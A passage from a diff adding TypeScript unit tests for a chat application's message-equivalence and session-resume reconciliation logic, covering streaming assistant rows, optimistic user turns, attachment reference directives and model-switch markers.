+
+  it('returns false when only one tool-call part has a result', () => {
+    const partA = {
+      type: 'tool-call' as const,
+      toolCallId: 'tc-1',
+      toolName: 'read_file',
+      args: {} as never,
+      argsText: '{}'
+    }
+
+    const partB = {
+      type: 'tool-call' as const,
+      toolCallId: 'tc-1',
+      toolName: 'read_file',
+      args: {} as never,
+      argsText: '{}',
+      result: { content: 'file data' },
+      isError: false
+    }
+
+    expect(chatPartsEquivalent(partA, partB)).toBe(false)
+  })
+
+  it('uses reference equality fast-path for identical part objects', () => {
+    const part = { type: 'text' as const, text: 'Same reference' }
+
+    expect(chatPartsEquivalent(part, part)).toBe(true)
+  })
+})
+
+describe('chatMessagesEquivalent', () => {
+  it('returns true for structurally identical messages', () => {
+    expect(chatMessagesEquivalent(msg('1', 'user', 'Hello'), msg('1', 'user', 'Hello'))).toBe(true)
+  })
+
+  it('returns false when text part content differs', () => {
+    expect(chatMessagesEquivalent(msg('1', 'user', 'Hello'), msg('1', 'user', 'World'))).toBe(false)
+  })
+
+  it('returns false when tool result presence differs', () => {
+    const messageA: ChatMessage = {
+      id: 'msg-1',
+      role: 'assistant',
+      parts: [{ type: 'tool-call', toolCallId: 'tc-1', toolName: 'read_file', args: {} as never, argsText: '{}' }]
+    }
+
+    const messageB: ChatMessage = {
+      id: 'msg-1',
+      role: 'assistant',
+      parts: [
+        {
+          type: 'tool-call',
+          toolCallId: 'tc-1',
+          toolName: 'read_file',
+          args: {} as never,
+          argsText: '{}',
+          result: { content: 'data' },
+          isError: false
+        }
+      ]
+    }
+
+    expect(chatMessagesEquivalent(messageA, messageB)).toBe(false)
+  })
+
+  it('returns false when message IDs differ', () => {
+    expect(chatMessagesEquivalent(msg('msg-1', 'user', 'Hello'), msg('msg-2', 'user', 'Hello'))).toBe(false)
+  })
+
+  it('compares large messages with embedded images structurally without JSON.stringify', () => {
+    // Verifies that two structurally identical messages (that would be equal
+    // via stringify) are also equal via the new cheap structural compare.
+    const messageA: ChatMessage = {
+      id: 'msg-1',
+      role: 'assistant',
+      parts: [
+        { type: 'text', text: 'Here are the images:' },
+        {
+          type: 'tool-call',
+          toolCallId: 'img-1',
+          toolName: 'image_generate',
+          args: { prompt: 'a cat' } as never,
+          argsText: '{"prompt":"a cat"}',
+          result: { image: 'data:image/png;base64,iVBORw0KG...(large base64)' },
+          isError: false
+        }
+      ]
+    }
+
+    const messageB: ChatMessage = {
+      id: 'msg-1',
+      role: 'assistant',
+      parts: [
+        { type: 'text', text: 'Here are the images:' },
+        {
+          type: 'tool-call',
+          toolCallId: 'img-1',
+          toolName: 'image_generate',
+          args: { prompt: 'a cat' } as never,
+          argsText: '{"prompt":"a cat"}',
+          result: { image: 'data:image/png;base64,iVBORw0KG...(large base64)' },
+          isError: false
+        }
+      ]
+    }
+
+    // The structural compare treats these as equal (both have result defined,
+    // same toolCallId/toolName), without comparing the full result object.
+    expect(chatMessagesEquivalent(messageA, messageB)).toBe(true)
+  })
+})
+
+describe('chatMessageArraysEquivalent', () => {
+  it('returns true for identical arrays via identity fast-path', () => {
+    const messages: ChatMessage[] = [msg('1', 'user', 'x')]
+
+    expect(chatMessageArraysEquivalent(messages, messages)).toBe(true)
+  })
+
+  it('compares length and per-message equivalence', () => {
+    const a = [msg('1', 'user', 'x'), msg('2', 'assistant', 'y')]
+    expect(chatMessageArraysEquivalent(a, [msg('1', 'user', 'x'), msg('2', 'assistant', 'y')])).toBe(true)
+    expect(chatMessageArraysEquivalent(a, [msg('1', 'user', 'x')])).toBe(false)
+    expect(chatMessageArraysEquivalent(a, [msg('1', 'user', 'x'), msg('2', 'assistant', 'changed')])).toBe(false)
+  })
+})
+
+describe('reconcileResumeMessages', () => {
+  it('returns next untouched when there is no previous transcript', () => {
+    const next = [msg('1', 'user', 'hi')]
+    expect(reconcileResumeMessages(next, [])).toBe(next)
+  })
+
+  it('re-grafts reasoning parts onto a matching assistant turn', () => {
+    const next = [msg('a', 'assistant', 'answer')]
+
+    const previous = [
+      msg('a', 'assistant', 'answer', {
+        parts: [
+          { type: 'reasoning', text: 'thinking' },
+          { type: 'text', text: 'answer' }
+        ]
+      } as Partial<ChatMessage>)
+    ]
+
+    const [out] = reconcileResumeMessages(next, previous)
+    expect(out.parts.some(p => p.type === 'reasoning')).toBe(true)
+  })
+
+  it('preserves attachment refs for a matching user turn', () => {
+    const next = [msg('stored-user', 'user', 'describe this image')]
+
+    const previous = [
+      msg('live-user', 'user', 'describe this image', {
+        attachmentRefs: ['@image:/tmp/photo.png']
+      })
+    ]
+
+    const [out] = reconcileResumeMessages(next, previous)
+
+    expect(out.attachmentRefs).toEqual(['@image:/tmp/photo.png'])
+  })
+
+  it('does not overwrite attachment refs already present on the resumed message', () => {
+    const next = [
+      msg('stored-user', 'user', 'describe this image', {
+        attachmentRefs: ['@image:/tmp/authoritative.png']
+      })
+    ]
+
+    const previous = [
+      msg('live-user', 'user', 'describe this image', {
+        attachmentRefs: ['@image:/tmp/cached.png']
+      })
+    ]
+
+    const [out] = reconcileResumeMessages(next, previous)
+
+    expect(out.attachmentRefs).toEqual(['@image:/tmp/authoritative.png'])
+  })
+
+  it('does not preserve attachment refs when the user text differs', () => {
+    const next = [msg('stored-user', 'user', 'a different prompt')]
+
+    const previous = [
+      msg('live-user', 'user', 'describe this image', {
+        attachmentRefs: ['@image:/tmp/photo.png']
+      })
+    ]
+
+    const [out] = reconcileResumeMessages(next, previous)
+
+    expect(out.attachmentRefs).toBeUndefined()
+  })
+
+  // #75825: switching sessions mid-stream can re-hydrate an empty inflight shell
+  // at the same ordinal as the live stream row that still holds the full reply.
+  it('prefers a richer local pending assistant over an empty projection shell', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'hello from stream', { pending: true })
+    ]
+
+    const next = [msg('1-user', 'user', 'question'), msg('assistant-stream-sess', 'assistant', '', { pending: true })]
+
+    const reconciled = reconcileResumeMessages(next, previous)
+
+    expect(reconciled[1]).toMatchObject({ id: 'assistant-stream-live', pending: true })
+    expect(chatMessageText(reconciled[1])).toBe('hello from stream')
+  })
+
+  it('prefers a richer local pending assistant when the projection lags mid-stream', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'hello world', { pending: true })
+    ]
+
+    const next = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-sess', 'assistant', 'hello', { pending: true })
+    ]
+
+    const reconciled = reconcileResumeMessages(next, previous)
+
+    expect(chatMessageText(reconciled[1])).toBe('hello world')
+    expect(reconciled[1].id).toBe('assistant-stream-live')
+  })
+
+  it('does not override when the authoritative assistant has advanced further', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'hello', { pending: true })
+    ]
+
+    const next = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-sess', 'assistant', 'hello world', { pending: true })
+    ]
+
+    const reconciled = reconcileResumeMessages(next, previous)
+
+    expect(chatMessageText(reconciled[1])).toBe('hello world')
+    expect(reconciled[1].id).toBe('assistant-stream-sess')
+  })
+
+  // The reported "no inference traces or tool calls": mid tool-work, the local
+  // row holds reasoning + tool calls and NO text yet, so both bodies are empty
+  // text and a text-length comparison cannot tell them apart.
+  it('prefers a traces-only local pending row over an empty shell', () => {
+    const previous = [msg('1-user', 'user', 'run the tools'), streamingMsg('assistant-stream-live', '')]
+
+    const next = [
+      msg('1-user', 'user', 'run the tools'),
+      msg('assistant-stream-sess', 'assistant', '', { pending: true })
+    ]
+
+    const reconciled = reconcileResumeMessages(next, previous)
+
+    expect(reconciled[1].id).toBe('assistant-stream-live')
+    expect(reconciled[1].parts.map(part => part.type)).toEqual(['reasoning', 'tool-call'])
+  })
+
+  // A longer local body that is NOT an extension of the authoritative text is a
+  // different turn at the same ordinal (compression rewrites history) and must
+  // not hijack the slot.
+  it('leaves a shorter non-prefix authoritative assistant intact', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'a long local reply about something else entirely', { pending: true })
+    ]
+
+    const next = [msg('1-user', 'user', 'question'), msg('9-assistant', 'assistant', 'short authoritative answer')]
+
+    const reconciled = reconcileResumeMessages(next, previous)
+
+    expect(reconciled[1].id).toBe('9-assistant')
+    expect(chatMessageText(reconciled[1])).toBe('short authoritative answer')
+  })
+
+  // A retained failure snapshot (`inflight.error`) is projected with empty text.
+  // Preferring the local partial over it would erase the error and repaint the
+  // turn as healthy.
+  it('does not treat an errored authoritative row as an empty shell', () => {
+    const previous = [
+      msg('1-user', 'user', 'do the thing'),
+      msg('assistant-stream-live', 'assistant', 'partial answer before the failure', { pending: true })
+    ]
+
+    const next = [
+      msg('1-user', 'user', 'do the thing'),
+      msg('assistant-stream-sess', 'assistant', '', { error: 'model call failed: 500' })
+    ]
+
+    const reconciled = reconcileResumeMessages(next, previous)
+
+    expect(reconciled[1].error).toBe('model call failed: 500')
+  })
+
+  // Content comes from the renderer; liveness stays the backend's call. A
+  // settled shell (queued turn behind a finished inflight one) must not leave
+  // the preserved reply spinning forever.
+  it('takes the local body but the authoritative settled state', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'streamed body', { pending: true })
+    ]
+
+    const next = [msg('1-user', 'user', 'question'), msg('assistant-stream-sess', 'assistant', '', { pending: false })]
+
+    const reconciled = reconcileResumeMessages(next, previous)
+
+    expect(reconciled[1]).toMatchObject({ id: 'assistant-stream-live', pending: false })
+    expect(chatMessageText(reconciled[1])).toBe('streamed body')
+  })
+})
+
+describe('preserveLocalPendingTurnMessages', () => {
+  it('keeps an optimistic user turn and pending assistant when the server projection is behind', () => {
+    const next = [msg('1-user', 'user', 'first'), msg('2-assistant', 'assistant', 'first answer')]
+
+    const previous = [
+      ...next,
+      msg('user-optimistic', 'user', 'new question'),
+      msg('assistant-stream-1', 'assistant', 'partial answer', { pending: true })
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous).map(message => message.id)).toEqual([
+      '1-user',
+      '2-assistant',
+      'user-optimistic',
+      'assistant-stream-1'
+    ])
+  })
+
+  it('drops the local copies once the same role ordinals are authoritative', () => {
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', 'new question'),
+      msg('assistant-stream-1', 'assistant', 'partial answer', { pending: true })
+    ]
+
+    const next = [
+      msg('1-user-stored', 'user', 'first'),
+      msg('2-assistant-stored', 'assistant', 'first answer'),
+      msg('3-user-stored', 'user', 'new question'),
+      msg('4-assistant-stored', 'assistant', 'complete answer')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+  })
+
+  it('drops stale optimistic history after compression and keeps only the live tail', () => {
+    const compressedAuthority = [
+      msg('stored-user', 'user', 'first turn that survived compression'),
+      msg('stored-assistant', 'assistant', 'latest authoritative reply')
+    ]
+
+    const pollutedWarmCache = [
+      msg('user-old-1', 'user', 'compressed-away prompt one'),
+      msg('assistant-old-1', 'assistant', 'compressed-away reply one'),
+      msg('user-old-2', 'user', 'compressed-away prompt two'),
+      msg('assistant-old-2', 'assistant', 'compressed-away reply two'),
+      msg('user-inflight', 'user', 'the one genuinely in-flight prompt')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(compressedAuthority, pollutedWarmCache).map(message => message.id)).toEqual(
+      ['stored-user', 'stored-assistant', 'user-inflight']
+    )
+  })
+
+  it('drops the live tail once the latest authoritative user has persisted it after compression', () => {
+    const compressedAuthority = [
+      msg('stored-user', 'user', 'the one genuinely in-flight prompt'),
+      msg('stored-assistant', 'assistant', 'its authoritative reply')
+    ]
+
+    const pollutedWarmCache = [
+      msg('user-old-1', 'user', 'compressed-away prompt one'),
+      msg('assistant-old-1', 'assistant', 'compressed-away reply one'),
+      msg('user-inflight', 'user', 'the one genuinely in-flight prompt')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(compressedAuthority, pollutedWarmCache)).toBe(compressedAuthority)
+  })
+
+  // A mid-turn redirect inserts its correction as a SECOND optimistic user row
+  // for the same turn. Keeping only the newest dropped the prompt that started
+  // it, so a resume repainted the thread with the user's message missing.
+  it('keeps every optimistic user row in the live run after a mid-turn redirect', () => {
+    const previous = [
+      msg('user-1000', 'user', 'remove the session counts'),
+      msg('user-2000', 'user', 'hurry up'),
+      msg('assistant-stream-1', 'assistant', 'Moving.', { pending: true })
+    ]
+
+    expect(preserveLocalPendingTurnMessages([], previous).map(message => message.id)).toEqual([
+      'user-1000',
+      'user-2000',
+      'assistant-stream-1'
+    ])
+  })
+
+  it('still drops optimistic rows separated from the live run by an assistant reply', () => {
+    const previous = [
+      msg('user-stale', 'user', 'compressed-away prompt'),
+      msg('assistant-stale', 'assistant', 'compressed-away reply'),
+      msg('user-1000', 'user', 'the live prompt'),
+      msg('user-2000', 'user', 'the correction'),
+      msg('assistant-stream-1', 'assistant', 'Moving.', { pending: true })
+    ]
+
+    expect(preserveLocalPendingTurnMessages([], previous).map(message => message.id)).toEqual([
+      'user-1000',
+      'user-2000',
+      'assistant-stream-1'
+    ])
+  })
+
+  // #67603: the gateway persists model-switch / personality notices as role=user
+  // ([System: …], tui_gateway/server.py). A single trailing marker is already
+  // handled by the latestAuthoritativeUser guard above, but TWO switches around
+  // one turn put a marker BEFORE the committed prompt (shifting its ordinal) and
+  // another AFTER it (so the prompt is no longer the last user row, so the text
+  // guard can't rescue it). Naive ordinal pairing then pairs the optimistic row
+  // against a marker, treats it as uncommitted, and re-appends it — the
+  // duplicated user bubble stacked at the bottom of the chat.
+  it('does not duplicate the optimistic prompt when markers bracket it (two model switches)', () => {
+    const marker = (name: string) => `[System: The active model for this chat has changed to ${name}.]`
+
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', 'second question')
+    ]
+
+    const next = [
+      msg('s1-user', 'user', 'first'),
+      msg('s2-assistant', 'assistant', 'first answer'),
+      msg('s3-marker', 'user', marker('k2')),
+      msg('s4-user', 'user', 'second question'),
+      msg('s5-assistant', 'assistant', 'second answer'),
+      msg('s6-marker', 'user', marker('k3'))
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+  })
+
+  it('still keeps a genuinely uncommitted optimistic turn when a marker is present', () => {
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', 'new question')
+    ]
+
+    // The marker is persisted but the new prompt has not committed yet — the
+    // optimistic row must survive (marker exclusion must not over-correct).
+    const next = [
+      msg('1-user-stored', 'user', 'first'),
+      msg('2-assistant-stored', 'assistant', 'first answer'),
+      msg('3-marker-stored', 'user', '[System: The active model for this chat has changed to k3.]')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous).map(message => message.id)).toEqual([
+      '1-user-stored',
+      '2-assistant-stored',
+      '3-marker-stored',
+      'user-optimistic'
+    ])
+  })
+
+  // #70720: the gateway persists an attached image as a leading `@image:<path>`
+  // directive line, while the local optimistic composer keeps it as separate
+  // `attachmentRefs`. A naive text compare (chatMessageText a === b) therefore
+  // always mismatched whenever an image was attached and re-appended the
+  // optimistic row as a distinct, duplicate user bubble. Both sides must now
+  // reduce to the same visible text via textWithoutReferenceLines.
+  it('does not duplicate the optimistic image turn when the persisted turn carries @image refs', () => {
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', 'what is in this photo?', {
+        attachmentRefs: ['@image:/tmp/cat.png']
+      })
+    ]
+
+    const next = [
+      msg('1-user-stored', 'user', 'first'),
+      msg('2-assistant-stored', 'assistant', 'first answer'),
+      msg('3-user-stored', 'user', '@image:/tmp/cat.png\nwhat is in this photo?')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+  })
+
+  it('does not duplicate the optimistic file turn when the persisted turn carries @file refs', () => {
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', 'text', {
+        attachmentRefs: ['@file:X']
+      })
+    ]
+
+    const next = [
+      msg('1-user-stored', 'user', 'first'),
+      msg('2-assistant-stored', 'assistant', 'first answer'),
+      msg('3-user-stored', 'user', '@file:X\n\ntext')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+  })
+
+  it.each(WIRE_REFERENCE_KINDS.filter(kind => kind !== 'file' && kind !== 'image'))(
+    'does not duplicate the optimistic %s turn when the persisted turn carries its directive',
+    kind => {
+      const ref = `@${kind}:X`
+
+      const previous = [
+        msg('1-user', 'user', 'first'),
+        msg('2-assistant', 'assistant', 'first answer'),
+        msg('user-optimistic', 'user', 'text', {
+          attachmentRefs: [ref]
+        })
+      ]
+
+      const next = [
+        msg('1-user-stored', 'user', 'first'),
+        msg('2-assistant-stored', 'assistant', 'first answer'),
+        msg('3-user-stored', 'user', `${ref}\n\ntext`)
+      ]
+
+      expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+    }
+  )
+
+  it('does not duplicate a directive-only file turn', () => {
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', '', {
+        attachmentRefs: ['@file:X']
+      })
+    ]
+
+    const next = [
+      msg('1-user-stored', 'user', 'first'),
+      msg('2-assistant-stored', 'assistant', 'first answer'),
+      msg('3-user-stored', 'user', '@file:X')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+  })
+
+  it('does not duplicate a turn with multiple CRLF directives and Unicode payloads', () => {
+    const refs = ['@file:`資料/über notes.md`', '@url:`https://example.com/café?q=✓`']
+
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', 'text', {
+        attachmentRefs: refs
+      })
+    ]
+
+    const next = [
+      msg('1-user-stored', 'user', 'first'),
+      msg('2-assistant-stored', 'assistant', 'first answer'),
+      msg('3-user-stored', 'user', `${refs.join('\r\n')}\r\n\r\ntext`)
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+  })
+
+  it('strips only complete reference lines from visible text', () => {
+    expect(textWithoutReferenceLines('see @file:X here')).toBe('see @file:X here')
+    expect(textWithoutReferenceLines('@file:X trailing prose')).toBe('@file:X trailing prose')
+    expect(textWithoutReferenceLines('  @file:X')).toBe('@file:X')
+  })
+
+  it('still keeps a genuinely uncommitted optimistic image turn when the persisted text differs', () => {
+    const previous = [
+      msg('1-user', 'user', 'first'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('user-optimistic', 'user', 'a different caption', {
+        attachmentRefs: ['@image:/tmp/cat.png']
+      })
+    ]
+
+    // Persisted turn has a different caption — the optimistic row is still
+    // uncommitted and must survive (image-aware compare must not over-correct).
+    const next = [
+      msg('1-user-stored', 'user', 'first'),
+      msg('2-assistant-stored', 'assistant', 'first answer'),
+      msg('3-user-stored', 'user', '@image:/tmp/cat.png\nwhat is in this photo?')
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous).map(message => message.id)).toEqual([
+      '1-user-stored',
+      '2-assistant-stored',
+      '3-user-stored',
+      'user-optimistic'
+    ])
+  })
+
+  // #75825: an empty inflight projection shell at the same ordinal must not
+  // discard the local pending assistant that still holds the streamed content.
+  // Replace the shell (do not append) so the transcript shows one reply.
+  it('replaces an empty inflight shell with a fuller local pending assistant', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'partial answer so far', { pending: true })
+    ]
+
+    const next = [msg('1-user', 'user', 'question'), msg('assistant-stream-sess', 'assistant', '', { pending: true })]
+
+    const preserved = preserveLocalPendingTurnMessages(next, previous)
+
+    expect(preserved.map(message => message.id)).toEqual(['1-user', 'assistant-stream-live'])
+    expect(chatMessageText(preserved[1])).toBe('partial answer so far')
+    expect(preserved[1].pending).toBe(true)
+  })
+
+  it('replaces a lagging same-id shell with the fuller local pending body', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-sess', 'assistant', 'full streamed content', { pending: true })
+    ]
+
+    const next = [msg('1-user', 'user', 'question'), msg('assistant-stream-sess', 'assistant', '', { pending: true })]
+
+    const preserved = preserveLocalPendingTurnMessages(next, previous)
+
+    expect(preserved.map(message => message.id)).toEqual(['1-user', 'assistant-stream-sess'])
+    expect(chatMessageText(preserved[1])).toBe('full streamed content')
+  })
+
+  it('still drops local pending when authoritative text is at least as complete', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'partial', { pending: true })
+    ]
+
+    const next = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-sess', 'assistant', 'partial and more', { pending: true })
+    ]
+
+    expect(preserveLocalPendingTurnMessages(next, previous)).toBe(next)
+  })
+
+  // Mid tool-work both bodies are empty text, so only the parts distinguish the
+  // live row from the shell — the reported "no inference traces or tool calls".
+  it('replaces an empty shell with a traces-only local pending row', () => {
+    const previous = [msg('1-user', 'user', 'run the tools'), streamingMsg('assistant-stream-live', '')]
+
+    const next = [
+      msg('1-user', 'user', 'run the tools'),
+      msg('assistant-stream-sess', 'assistant', '', { pending: true })
+    ]
+
+    const preserved = preserveLocalPendingTurnMessages(next, previous)
+
+    expect(preserved).toHaveLength(2)
+    expect(preserved[1].parts.map(part => part.type)).toEqual(['reasoning', 'tool-call'])
+  })
+
+  // Length alone is not identity: a longer local row that does not extend the
+  // authoritative text belongs to another turn and must not take its slot — by
+  // ordinal or by reusing the stream id.
+  it('leaves a shorter non-prefix authoritative assistant intact', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'a long local reply about something else entirely', { pending: true })
+    ]
+
+    const next = [msg('1-user', 'user', 'question'), msg('9-assistant', 'assistant', 'short authoritative answer')]
+
+    const preserved = preserveLocalPendingTurnMessages(next, previous)
+
+    expect(preserved.map(message => message.id)).toEqual(['1-user', '9-assistant'])
+    expect(chatMessageText(preserved[1])).toBe('short authoritative answer')
+  })
+
+  it('leaves a shorter non-prefix authoritative assistant intact on the same stream id', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-sess', 'assistant', 'a long local reply about something else entirely', { pending: true })
+    ]
+
+    const next = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-sess', 'assistant', 'short authoritative answer')
+    ]
+
+    const preserved = preserveLocalPendingTurnMessages(next, previous)
+
+    expect(chatMessageText(preserved[1])).toBe('short authoritative answer')
+  })
+
+  it('does not erase a retained failure with the local partial', () => {
+    const previous = [
+      msg('1-user', 'user', 'do the thing'),
+      msg('assistant-stream-live', 'assistant', 'partial answer before the failure', { pending: true })
+    ]
+
+    const next = [
+      msg('1-user', 'user', 'do the thing'),
+      msg('assistant-stream-sess', 'assistant', '', { error: 'model call failed: 500' })
+    ]
+
+    const assistant = preserveLocalPendingTurnMessages(next, previous).find(message => message.role === 'assistant')
+
+    expect(assistant?.error).toBe('model call failed: 500')
+    expect(assistant?.pending).not.toBe(true)
+  })
+
+  it('takes the local body but the authoritative settled state', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-live', 'assistant', 'streamed body', { pending: true })
+    ]
+
+    const next = [msg('1-user', 'user', 'question'), msg('assistant-stream-sess', 'assistant', '', { pending: false })]
+
+    const preserved = preserveLocalPendingTurnMessages(next, previous)
+
+    expect(preserved[1]).toMatchObject({ id: 'assistant-stream-live', pending: false })
+    expect(chatMessageText(preserved[1])).toBe('streamed body')
+  })
+
+  // #70209: history committed the reply under its own id, so the settled local
+  // stream row sits at a later ordinal, pairs with nothing, and gets appended —
+  // the same answer twice.
+  it('does not re-append a settled stream row the authoritative history already carries', () => {
+    const next = [msg('1-user-stored', 'user', 'question'), msg('2-assistant-stored', 'assistant', 'answer')]
+    const settledLocalStream = msg('assistant-stream-runtime-1', 'assistant', 'answer', { pending: false })
+
+    expect(preserveLocalPendingTurnMessages(next, [...next, settledLocalStream])).toBe(next)
+  })
+
+  // The reply finished locally but the gateway had not committed it when the
+  // session was reopened — the local row is the only copy and must survive.
+  it('keeps a settled stream row the authoritative history has not committed', () => {
+    const previous = [
+      msg('1-user', 'user', 'question'),
+      msg('assistant-stream-sess', 'assistant', 'the finished reply', { pending: false })
+    ]
+
+    const next = [msg('1-user', 'user', 'question')]
+
+    expect(preserveLocalPendingTurnMessages(next, previous).map(message => message.id)).toEqual([
+      '1-user',
+      'assistant-stream-sess'
+    ])
+  })
+
+  // The whole point of replacing rather than appending: one reply on screen,
+  // and the committed history around the live turn untouched.
+  it('does not duplicate or rewrite committed history around the live turn', () => {
+    const history = [
+      msg('1-user', 'user', 'first question'),
+      msg('2-assistant', 'assistant', 'first answer'),
+      msg('3-user', 'user', 'run the tools')
+    ]
+
+    const previous = [...history, streamingMsg('assistant-stream-live', 'here is the full reply')]
+    const next = [...history, msg('assistant-stream-sess', 'assistant', '', { pending: true })]
+
+    const preserved = preserveLocalPendingTurnMessages(next, previous)
+
+    expect(preserved).toHaveLength(4)
+    expect(chatMessageText(preserved[1])).toBe('first answer')
+    expect(preserved.filter(message => message.role === 'assistant')).toHaveLength(2)
+  })
+})
+
+describe('appendLiveSessionProjection', () => {
+  // Corrections typed while a turn ran are their own user bubbles on the same
+  // turn. Resume must rebuild the prompt AND every correction, in order.
+  it('projects mid-turn redirect corrections after the prompt that started the turn', () => {
+    const restored = appendLiveSessionProjection([], {
+      session_id: 'runtime-1',
+      inflight: {
+        user: 'remove the session counts',
+        corrections: ['hurry up', 'and the worktree ones'],
+        assistant: 'Moving.',
+        streaming: true
+      }
+    })
+
+    expect(restored.map(message => message.parts.map(part => ('text' in part ? part.text : '')).join(''))).toEqual([
+      'remove the session counts',
+      'hurry up',
+      'and the worktree ones',
+      'Moving.'
+    ])
+  })
+
+  it('does not re-project a correction the transcript already persisted', () => {
+    const stored = [msg('stored-user', 'user', 'remove the session counts'), msg('stored-fix', 'user', 'hurry up')]
+
+    const restored = appendLiveSessionProjection(stored, {
+      session_id: 'runtime-1',
+      inflight: {
+        user: 'remove the session counts',
+        corrections: ['hurry up'],
+        assistant: 'Moving.',
+        streaming: true
+      }
+    })
+
+    expect(restored.filter(message => message.role === 'user').map(message => message.id)).toEqual([
+      'stored-user',
+      'stored-fix'
+    ])
+  })
+
+  it('does not duplicate the inflight user when the persisted turn carries @image refs', () => {
+    // By the time a stored transcript reaches appendLiveSessionProjection it
+    // has already been run through toChatMessages, so the @image directive has
+    // been lifted into attachmentRefs and the visible text is the bare caption.
+    const stored = [
+      msg('stored-user', 'user', 'current running prompt', {
+        attachmentRefs: ['@image:/tmp/cat.png']
+      }),
+      msg('stored-assistant', 'assistant', 'earlier answer')
+    ]
+
+    const restored = appendLiveSessionProjection(stored, {
+      session_id: 'runtime-1',
+      inflight: {
+        user: 'current running prompt',
+        assistant: 'partial answer',
+        streaming: true
+      }
+    })
+
+    // The persisted user already carries the same visible text (the attachment
+    // lives in attachmentRefs on both sides), so the inflight *user* projection
+    // must be suppressed — exactly one user row, no duplicated bubble stacked
+    // on top of the persisted one. The live assistant tail is still projected.
+    const userRows = restored.filter(message => message.role === 'user')
+    expect(userRows).toHaveLength(1)
+    expect(userRows[0].id).toBe('stored-user')
+
+    const userText = userRows[0].parts.map(part => ('text' in part ? part.text : '')).join('')
+
+    expect(userText).toBe('current running prompt')
+  })
+
+  it('restores the running turn and accepted queued prompt after a renderer restart', () => {
+    const stored = [msg('stored-user', 'user', 'earlier'), msg('stored-assistant', 'assistant', 'earlier answer')]
+
+    const restored = appendLiveSessionProjection(stored, {
+      session_id: 'runtime-1',
+      inflight: {
+        user: 'current prompt',
+        assistant: 'partial answer',
+        streaming: true
+      },
+      queued: { user: 'newest prompt' }
+    })
+
+    expect(restored.map(message => message.role)).toEqual(['user', 'assistant', 'user', 'assistant', 'user'])
+    expect(restored.map(message => message.parts.map(part => ('text' in part ? part.text : '')).join(''))).toEqual([
+      'earlier',
+      'earlier answer',
+      'current prompt',
+      'partial answer',
+      'newest prompt'
+    ])
+    expect(restored[3]).toMatchObject({ id: 'assistant-stream-runtime-1', pending: true })
+  })
+
+  it('does not duplicate a persisted inflight user after consecutive canceled user turns', () => {
+    const stored = [
+      msg('stored-user-1', 'user', 'canceled prompt one'),
+      msg('stored-user-2', 'user', 'canceled prompt two'),
+      msg('stored-user-3', 'user', 'current running prompt')
+    ]
+
+    const restored = appendLiveSessionProjection(stored, {
+      session_id: 'runtime-1',
+      inflight: {
+        user: 'current running prompt',
+        assistant: 'partial answer',
+        streaming: true
+      }
+    })
+
+    expect(restored.map(message => message.role)).toEqual(['user', 'user', 'user', 'assistant'])
+    expect(restored.map(message => message.parts.map(part => ('text' in part ? part.text : '')).join(''))).toEqual([
+      'canceled prompt one',
+      'canceled prompt two',
+      'current running prompt',
+      'partial answer'
+    ])
+    expect(restored[3]).toMatchObject({ id: 'assistant-stream-runtime-1', pending: true })
+  })
+
+  it('preserves the original array when no live projection exists', () => {
+    const stored = [msg('stored-user', 'user', 'earlier')]
+
+    expect(appendLiveSessionProjection(stored, { session_id: 'runtime-1' })).toBe(stored)
+  })
+
+  it('does not sandwich a structured mid-turn row with the inflight flat dump (#76444)', () => {
+    const stored: ChatMessage[] = [
+      msg('stored-user', 'user', 'do the work'),
+      {
+        id: 'live-assistant',
+        role: 'assistant',
+        pending: true,
+        parts: [
+          { type: 'reasoning', text: 'thinking about tools' },
